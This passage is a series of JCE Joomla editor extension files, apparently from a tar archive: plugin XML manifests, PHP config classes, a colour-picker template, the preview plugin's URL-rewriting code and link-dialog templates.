            return $result;
        }

        return array();
    }
}
com_jce/editor/plugins/browser/browser.xml000060400000015104152453734450015013 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_BROWSER_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_BROWSER_DESC</description>
    <icon></icon>
    <files></files>
    <fields name="browser">
        <fieldset name="config">
            <field name="dir" type="filesystempath" default="" size="50" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC"/>
            <field name="max_size" class="input-small" hint="1024" max="" type="uploadmaxsize" step="128" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" placeholder="" />
            <field name="extensions" type="filetype" default="doc,docx,dot,dotx,ppt,pps,pptx,ppsx,xls,xlsx,gif,jpeg,jpg,png,apng,webp,avif,pdf,zip,tar,gz,swf,rar,mov,mp4,m4a,flv,mkv,webm,ogg,ogv,qt,wmv,asx,asf,avi,wav,mp3,aiff,oga,odt,odg,odp,ods,odf,rtf,txt,csv" label="WF_PARAM_EXTENSIONS" description="WF_PARAM_EXTENSIONS_DESC">
                <option value="doc">doc</option>
                <option value="docx">docx</option>
                <option value="dot">dot</option>
                <option value="dotx">dotx</option>
                <option value="ppt">ppt</option>
                <option value="pps">pps</option>
                <option value="pptx">pptx</option>
                <option value="ppsx">ppsx</option>
                <option value="xls">xls</option>
                <option value="xlsx">xlsx</option>
                <option value="gif">gif</option>
                <option value="jpeg">jpeg</option>
                <option value="jpg">jpg</option>
                <option value="png">png</option>
                <option value="apng">apng</option>
                <option value="webp">webp</option>
                <option value="avif">avif</option>
                <option value="pdf">pdf</option>
                <option value="zip">zip</option>
                <option value="tar">tar</option>
                <option value="gz">gz</option>
                <option value="swf">swf</option>
                <option value="rar">rar</option>
                <option value="mov">mov</option>
                <option value="mp4">mp4</option>
                <option value="m4a">m4a</option>
                <option value="flv">flv</option>
                <option value="mkv">mkv</option>
                <option value="webm">webm</option>
                <option value="ogg">ogg</option>
                <option value="ogv">ogv</option>
                <option value="qt">qt</option>
                <option value="wmv">wmv</option>
                <option value="asx">asx</option>
                <option value="asf">asf</option>
                <option value="avi">avi</option>
                <option value="wav">wav</option>
                <option value="mp3">mp3</option>
                <option value="aiff">aiff</option>
                <option value="oga">oga</option>
                <option value="odt">odt</option>
                <option value="odg">odg</option>
                <option value="odp">odp</option>
                <option value="ods">ods</option>
                <option value="odf">odf</option>
                <option value="rtf">rtf</option>
                <option value="txt">txt</option>
                <option value="csv">csv</option>
            </field>
            <field name="filesystem" type="filesystem" default="" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC">
                <option value="">WF_OPTION_INHERIT</option>
            </field>

            <field type="heading" label="WF_PROFILES_PLUGINS_ACCESS" />

            <field name="help_button" type="yesno" default="1" label="WF_PARAM_HELP_BUTTON" description="WF_PARAM_HELP_BUTTON_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="upload" type="yesno" default="1" label="WF_PARAM_UPLOAD" description="WF_PARAM_UPLOAD_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_new" type="yesno" default="1" label="WF_PARAM_FOLDER_CREATE" description="WF_PARAM_FOLDER_CREATE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_delete" type="yesno" default="1" label="WF_PARAM_FOLDER_DELETE" description="WF_PARAM_FOLDER_DELETE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_rename" type="yesno" default="1" label="WF_PARAM_FOLDER_RENAME" description="WF_PARAM_FOLDER_RENAME_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_move" type="yesno" default="1" label="WF_PARAM_FOLDER_PASTE" description="WF_PARAM_FOLDER_PASTE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="file_delete" type="yesno" default="1" label="WF_PARAM_FILE_DELETE" description="WF_PARAM_FILE_DELETE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="file_rename" type="yesno" default="1" label="WF_PARAM_FILE_RENAME" description="WF_PARAM_FILE_RENAME_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="file_move" type="yesno" default="1" label="WF_PARAM_FILE_PASTE" description="WF_PARAM_FILE_PASTE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="allow_download" type="yesno" default="0" label="WF_BROWSER_ALLOW_DOWNLOAD" description="WF_BROWSER_ALLOW_DOWNLOAD_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <languages></languages>
    <help>
        <topic key="browser.about" title="WF_BROWSER_HELP_ABOUT" />
        <topic file="libraries/xml/help/manager.xml" />
    </help>
</extension>
com_jce/editor/plugins/formatselect/config.php000060400000005764152453734450015604 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFFormatselectPluginConfig
{
    protected static $formats = array(
        'p' => 'advanced.paragraph',
        'address' => 'advanced.address',
        'pre' => 'advanced.pre',
        'h1' => 'advanced.h1',
        'h2' => 'advanced.h2',
        'h3' => 'advanced.h3',
        'h4' => 'advanced.h4',
        'h5' => 'advanced.h5',
        'h6' => 'advanced.h6',
        'div' => 'advanced.div',
        'div_container' => 'advanced.div_container',
        'blockquote' => 'advanced.blockquote',
        'code' => 'advanced.code',
        'samp' => 'advanced.samp',
        'span' => 'advanced.span',
        'section' => 'advanced.section',
        'article' => 'advanced.article',
        'aside' => 'advanced.aside',
        'header' => 'advanced.header',
        'footer' => 'advanced.footer',
        'nav' => 'advanced.nav',
        'figure' => 'advanced.figure',
        //'figcaption' => 'advanced.figcaption',
        'dl' => 'advanced.dl',
        'dt' => 'advanced.dt',
        'dd' => 'advanced.dd',
    );

    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        // html5 block elements
        $html5 = array('section', 'article', 'aside', 'figure');
        // get current schema
        $schema = $wf->getParam('editor.schema', 'html4');
        $verify = (bool) $wf->getParam('editor.verify_html', 0);

        $legacy = $wf->getParam('editor.theme_advanced_blockformats');
        $default = 'p,div,address,pre,h1,h2,h3,h4,h5,h6,code,samp,span,section,article,aside,header,footer,nav,figure,dl,dt,dd';

        // get blockformats from parameter
        $blockformats = $wf->getParam('formatselect.blockformats');

        $settings['formatselect_preview_styles'] = $wf->getParam('formatselect.preview_styles', 1, 1);

        // handle empty list
        if (empty($blockformats)) {
            if (!empty($legacy)) {
                $blockformats = $legacy;
            } else {
                return '';
            }
        }

        $list = array();
        $blocks = array();

        // make an array
        if (is_string($blockformats)) {
            $blockformats = explode(',', $blockformats);
        }

        // create label / value list using default
        foreach ($blockformats as $key) {
            if (array_key_exists($key, self::$formats)) {
                $label = self::$formats[$key];
            }

            // skip html5 blocks for html4 schema
            if ($verify && $schema == 'html4' && in_array($key, $html5)) {
                continue;
            }

            if (isset($label)) {
                $list[$key] = $label;
            }

            $blocks[] = $key;
        }

        // Format list / Remove Format
        $settings['formatselect_blockformats'] = json_encode($list);
    }
}
com_jce/editor/plugins/formatselect/index.html000060400000000054152453734450015606 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/formatselect/formatselect.xml000060400000002201152453734450017017 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_FORMATSELECT_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FORMATSELECT_DESC</description>
    <icon>formatselect</icon>
    <fields name="formatselect">
        <fieldset name="config">
            <field name="blockformats" type="blockformats" default="" label="WF_PARAM_BLOCK_FORMAT" description="WF_PARAM_BLOCK_FORMAT_DESC" />

            <field name="preview_styles" type="yesno" default="1" label="WF_BLOCK_FORMAT_PREVIEW_STYLES" description="WF_BLOCK_FORMAT_PREVIEW_STYLES_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <help></help>
    <languages></languages>
</extension>com_jce/editor/plugins/attributes/attributes.xml000060400000001200152453734450016211 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_ATTRIBUTES_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_ATTRIBUTES_DESC</description>
	<icon>attributes</icon>
	<layout>attributes</layout>
	<files></files>
	<languages></languages>
	<help></help>
</extension>com_jce/editor/plugins/attributes/index.html000060400000000054152453734450015304 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/hr/hr.xml000060400000001072152453734450012666 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_HR_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_HR_DESC</description>
	<icon>hr</icon>
	<help></help>
	<languages></languages>
</extension>com_jce/editor/plugins/hr/index.html000060400000000054152453734450013527 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/fontcolor/index.html000060400000000054152453734450015123 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/fontcolor/config.php000060400000001416152453734450015107 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFFontcolorPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['fontcolor_foreground_color'] = $wf->getParam('fontcolor.foreground_color', '');
        $settings['fontcolor_background_color'] = $wf->getParam('fontcolor.background_color', '');

        $settings['fontcolor_foreground_colors'] = $wf->getParam('fontcolor.foreground_colors', '');
        $settings['fontcolor_background_colors'] = $wf->getParam('fontcolor.background_colors', '');
    }
}
com_jce/editor/plugins/fontcolor/fontcolor.xml000060400000003364152453734450015664 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_FONTCOLOR_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FONTCOLOR_DESC</description>
    <icon>forecolor,backcolor</icon>
    <fields name="fontcolor">
        <fieldset name="config">
            <field name="foreground_color" type="color" size="10" default="#000000" label="WF_FORECOLOR_TITLE" description="WF_FONTCOLOR_DESC"/>
            <field name="background_color" type="color" size="10" default="#000000" label="WF_BACKCOLOR_TITLE" description="WF_BACKCOLOR_DESC"/>

            <field name="foreground_colors" type="text" default="" hint="eg: #000000,#cc0000,#cccccc" label="WF_FORECOLOR_LIST_TITLE" description="WF_FORECOLOR_LIST_DESC"/>
            <field name="background_colors" type="text" default="" hint="eg: #cccccc,#dddddd,#eeeeee" label="WF_BACKCOLOR_LIST_TITLE" description="WF_BACKCOLOR_LIST_DESC"/>

            <field type="heading" label="WF_PROFILES_PLUGINS_BUTTONS" />
            
            <field name="buttons" type="buttons" multiple="multiple" default="forecolor,backcolor" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="forecolor">WF_FORECOLOR_TITLE</option>
                <option value="backcolor">WF_BACKCOLOR_TITLE</option>
            </field>
        </fieldset>
    </fields>
    <help></help>
    <languages></languages>
</extension>com_jce/editor/plugins/colorpicker/colorpicker.php000060400000001303152453734450016460 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

require_once WF_EDITOR_LIBRARIES . '/classes/plugin.php';

class WFColorpickerPlugin extends WFEditorPlugin
{
    public function __construct()
    {
        parent::__construct(array('colorpicker' => true));
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $document->addScript(array('colorpicker'), 'plugins');
        $document->addStyleSheet(array('colorpicker'), 'plugins');
    }
}
com_jce/editor/plugins/colorpicker/index.html000060400000000054152453734450015432 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/colorpicker/config.php000060400000001251152453734450015413 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFColorpickerPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $colours = $wf->getParam('colorpicker.custom_colors', '');

        if (empty($colours)) {
            $colours = $wf->getParam('editor.custom_colors', '');
        }

        $colours = array_map('trim', explode(',', $colours));

        $settings['colorpicker_custom_colors'] = $colours;
    }
}
com_jce/editor/plugins/colorpicker/tmpl/index.html000060400000000054152453734450016406 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/colorpicker/tmpl/default.php000060400000006127152453734450016555 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div id="colorpicker">
    <div id="colorpicker_tabs">
        <ul class="uk-tab" role="tablist">
            <li role="presentation" aria-selected="true" class="uk-active"><button type="button" class="uk-button uk-button-link" aria-controls="colorpicker_picker" tabindex="-1"><?php echo Text::_('WF_COLORPICKER_PICKER'); ?></button></li>
            <li role="presentation" aria-selected="false" ><button type="button" class="uk-button uk-button-link" aria-controls="colorpicker_web" tabindex="-1"><?php echo Text::_('WF_COLORPICKER_PALETTE'); ?></button></li>
            <li role="presentation" aria-selected="false" ><button type="button" class="uk-button uk-button-link" aria-controls="colorpicker_named" tabindex="-1"><?php echo Text::_('WF_COLORPICKER_NAMED'); ?></button></li>
            <li role="presentation" aria-selected="false" ><button type="button" class="uk-button uk-button-link" aria-controls="colorpicker_template" tabindex="-1"><?php echo Text::_('WF_COLORPICKER_TEMPLATE'); ?></button></li>
        </ul>
        <div id="tab-content" class="uk-switcher">
            <div id="colorpicker_picker" title="<?php echo Text::_('WF_COLORPICKER_PICKER'); ?>" data-type="picker" class="uk-active" role="tabpanel" aria-hidden="false"><!-- Will be filled with color wheel --></div>
            <div id="colorpicker_web" title="<?php echo Text::_('WF_COLORPICKER_PALETTE'); ?>" data-type="web" role="tabpanel" aria-hidden="true"><!-- Gets filled with web safe colors--></div>
            <div id="colorpicker_named" title="<?php echo Text::_('WF_COLORPICKER_NAMED'); ?>" data-type="named" role="tabpanel" aria-hidden="true"><!-- Gets filled with named colors--></div>
            <div id="colorpicker_template" title="<?php echo Text::_('WF_COLORPICKER_TEMPLATE'); ?>" data-type="template" role="tabpanel" aria-hidden="true"><!-- Gets filled with template colors--></div>
        </div>
    </div>
<input type="hidden" id="tmp_color" />
</div>
<div class="mceActionPanel uk-modal-footer">
  <div id="colorpicker_preview">
      <div id="colorpicker_preview_text" class="uk-form-icon uk-form-icon-both">
          <i class="uk-icon-hashtag"></i>
          <input type="text" id="colorpicker_color" size="8" maxlength="8" value="000000" aria-required="true" />
          <span class="uk-icon-none" id="colorpicker_preview_color" style="background-color: rgb(0, 0, 0);"></span>
      </div>
  </div>

    <button type="button" class="uk-button uk-button-primary" id="colorpicker_insert" onclick="ColorPicker.insert();"><i class="uk-icon-check"></i><span class="uk-button-text"><?php echo Text::_('WF_LABEL_APPLY'); ?></span></button>
</div>com_jce/editor/plugins/visualblocks/visualblocks.xml000060400000001653152453734450017053 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_VISUALBLOCKS_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_VISUALBLOCKS_DESC</description>
	<icon>visualblocks</icon>
	<fields name="visualblocks">
		<fieldset name="config">
			<field name="state" type="yesno" default="0" label="WF_LABEL_STATE" description="WF_STATE_DESC">
				<option value="1">JON</option>
				<option value="0">JOFF</option>
			</field>
		</fieldset>
	</fields>
	<help>
		<topic key="visualblocks.about" title="WF_VISUALBLOCKS_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/visualblocks/config.php000060400000000750152453734450015603 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFVisualblocksPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['visualblocks_default_state'] = $wf->getParam('visualblocks.state', 0, 0, 'boolean');
    }
}
com_jce/editor/plugins/visualblocks/index.html000060400000000054152453734450015617 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/preview/config.php000060400000000661152453734450014564 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFPreviewPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();
        $settings['extension_id'] = $wf->getContext();
    }
}
com_jce/editor/plugins/preview/index.html000060400000000054152453734450014577 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/preview/preview.php000060400000012500152453734450014773 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;

class WFPreviewPlugin extends WFEditorPlugin
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $request = WFRequest::getInstance();
        // Setup plugin XHR callback functions
        $request->setRequest(array($this, 'showPreview'));
    }

    /**
     * Display Preview content.
     */
    public function showPreview()
    {
        $app = Factory::getApplication();
        $user = Factory::getUser();

        // reset document type
        $document = Factory::getDocument();
        $document->setType('html');

        // register autoload for ContentHelperRoute
        JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

        // get post data
        $data = $app->input->post->get('data', '', 'RAW');

        // cleanup data
        $data = preg_replace(array('#<!DOCTYPE([^>]+)>#i', '#<(head|title|meta)([^>]*)>([\w\W]+)<\/1>#i', '#<\/?(html|body)([^>]*)>#i'), '', rawurldecode($data));

        // prevent processing by responsify
        $data = '{responsive=off}' . $data;

        // create params registry object
        $params = new Registry();
        $params->loadString("");

        // create context
        $context = "";

        $extension_id = $app->input->getInt('extension_id');
        $extension = Table::getInstance('extension');

        if ($extension->load($extension_id)) {
            $option = $extension->element;

            // set a default value
            if (empty($extension->params)) {
                $extension->params = '{}';
            }

            // process attribs (com_content etc.)
            $params->loadString($extension->params);
            // create context
            $context = $option . '.article';
        }

        $article = Table::getInstance('content');

        $article->id = 0;
        $article->created_by = $user->get('id');
        $article->parameters = new Registry();
        $article->text = $data;

        // load system plugins
        PluginHelper::importPlugin('system');

        // allow this to be skipped as some plugins can cause FATAL errors.
        if ((bool) $this->getParam('process_content', 1)) {
            $page = 0;

            // load content plugins
            PluginHelper::importPlugin('content');

            // set error reporting off to produce empty string on Fatal error
            error_reporting(0);

            // set params flag for responsify
            $params->set('wf_responsify', 0);

            $app->triggerEvent('onContentPrepare', array($context, &$article, &$params, $page));
        }

        $this->processURLS($article);

        // remove {responsive=off} from the beginning of the text
        $article->text = preg_replace('#^\{responsive=off\}#', '', $article->text);

        $app->triggerEvent('onWfContentPreview', array($context, &$article, &$params, 0));

        return $article->text;
    }

    /**
     * Convert URLs.
     *
     * @param object $article Article object
     */
    private function processURLS(&$article)
    {
        $base = Uri::root(true) . '/';
        $buffer = $article->text;

        $protocols = '[a-zA-Z0-9]+:'; //To check for all unknown protocals (a protocol must contain at least one alpahnumeric fillowed by :
        $regex = '#(src|href|poster)="(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
        $buffer = preg_replace($regex, "$1=\"$base\$2\"", $buffer);
        $regex = '#(onclick="window.open\(\')(?!/|' . $protocols . '|\#)([^/]+[^\']*?\')#m';
        $buffer = preg_replace($regex, '$1' . $base . '$2', $buffer);

        // ONMOUSEOVER / ONMOUSEOUT
        $regex = '#(onmouseover|onmouseout)="this.src=([\']+)(?!/|' . $protocols . '|\#|\')([^"]+)"#m';
        $buffer = preg_replace($regex, '$1="this.src=$2' . $base . '$3$4"', $buffer);

        // Background image
        $regex = '#style\s*=\s*[\'\"](.*):\s*url\s*\([\'\"]?(?!/|' . $protocols . '|\#)([^\)\'\"]+)[\'\"]?\)#m';
        $buffer = preg_replace($regex, 'style="$1: url(\'' . $base . '$2$3\')', $buffer);

        // OBJECT <field name="xx", value="yy"> -- fix it only inside the <param> tag
        $regex = '#(<param\s+)name\s*=\s*"(movie|src|url)"[^>]\s*value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
        $buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer);

        // OBJECT <field value="xx", name="yy"> -- fix it only inside the <param> tag
        $regex = '#(<param\s+[^>]*)value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m';
        $buffer = preg_replace($regex, '<field value="' . $base . '$2" name="$3"', $buffer);

        // OBJECT data="xx" attribute -- fix it only in the object tag
        $regex = '#(<object\s+[^>]*)data\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
        $buffer = preg_replace($regex, '$1data="' . $base . '$2"$3', $buffer);

        $article->text = $buffer;
    }
}
com_jce/editor/plugins/preview/preview.xml000060400000001673152453734450015015 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_PREVIEW_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_PREVIEW_DESC</description>
	<icon></icon>
	<fields name="preview">
		<fieldset name="config">
			<field name="process_content" type="yesno" default="1" label="WF_PREVIEW_PARAM_PROCESS_CONTENT" description="WF_PREVIEW_PARAM_PROCESS_CONTENT_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help>
		<topic key="preview.about" title="WF_PREVIEW_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>
com_jce/editor/plugins/directionality/index.html000060400000000054152453734450016141 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/directionality/directionality.xml000060400000001245152453734450017714 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_DIRECTIONALITY_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_DIRECTIONALITY_DESC</description>
	<icon>ltr,rtl</icon>
	<help>
		<topic key="directionality.about" title="WF_DIRECTIONALITY_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/link/config.php000060400000003340152453734450014035 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFLinkPluginConfig
{
    public static function getConfig(&$settings)
    {
        require_once __DIR__ . '/link.php';

        $plugin = new WFLinkPlugin();
        $attributes = $plugin->getDefaults();

        $custom_classes = (array) $plugin->getParam('custom_classes', []);
        $custom_classes = array_filter($custom_classes);

        $config = array(
            'attributes' => $plugin->getDefaults(),
            'custom_classes' => $custom_classes,
        );

        // expose globally for use by Autolink and Clipboard
        $settings['default_link_target'] = $plugin->getParam('target', '');

        // expose globally for use by Autolink and Clipboard (must be boolean)
        $settings['autolink_email'] = $plugin->getParam('autolink_email', 1, 1, 'boolean');
        $settings['autolink_url'] = $plugin->getParam('autolink_url', 1, 1, 'boolean');

        if ($plugin->getParam('link.quicklink', 1) == 0) {
            $config['quicklink'] = false;
        }

        if ($plugin->getParam('link.basic_dialog', 0) == 1) {
            $config['basic_dialog'] = true;
            $config['file_browser'] = $plugin->getParam('file_browser', 1);

            $config['target_ctrl']  = $plugin->getParam('attributes_target', 1, 1, 'boolean');
            $config['title_ctrl']   = $plugin->getParam('attributes_title', 1, 1, 'boolean');
            $config['classes_ctrl']   = $plugin->getParam('attributes_classes', 1, 1, 'boolean');
        }

        $settings['link'] = $config;
    }
}
com_jce/editor/plugins/link/tmpl/index.html000060400000000054152453734450015027 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/link/tmpl/default.php000060400000001643152453734450015174 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

 \defined('_JEXEC') or die;

 use Joomla\CMS\Factory;
 use Joomla\CMS\Language\Text;
 use Joomla\CMS\Session\Session;

$tabs = WFTabs::getInstance();

?>
<form action="#" class="uk-form uk-form-horizontal">
	<!-- Render Tabs -->
	<?php $tabs->render(); ?>
	<!-- Token -->	
	<input type="hidden" id="token" name="<?php echo Session::getFormToken(); ?>" value="1" />
</form>
<div class="actionPanel">
	<button class="button" id="cancel"><?php echo Text::_('WF_LABEL_CANCEL')?></button>

	<?php if ($this->plugin->showHelp()): ?>
		<button class="button" id="help"><?php echo Text::_('WF_LABEL_HELP')?></button>
	<?php endif; ?>

	<button class="button" id="insert"><?php echo Text::_('WF_LABEL_INSERT')?></button>
</div>com_jce/editor/plugins/link/tmpl/advanced.php000060400000020772152453734450015321 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="id" class="hastip" title="<?php echo Text::_('WF_LABEL_ID_DESC'); ?>"><?php echo Text::_('WF_LABEL_ID'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input id="id" type="text" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
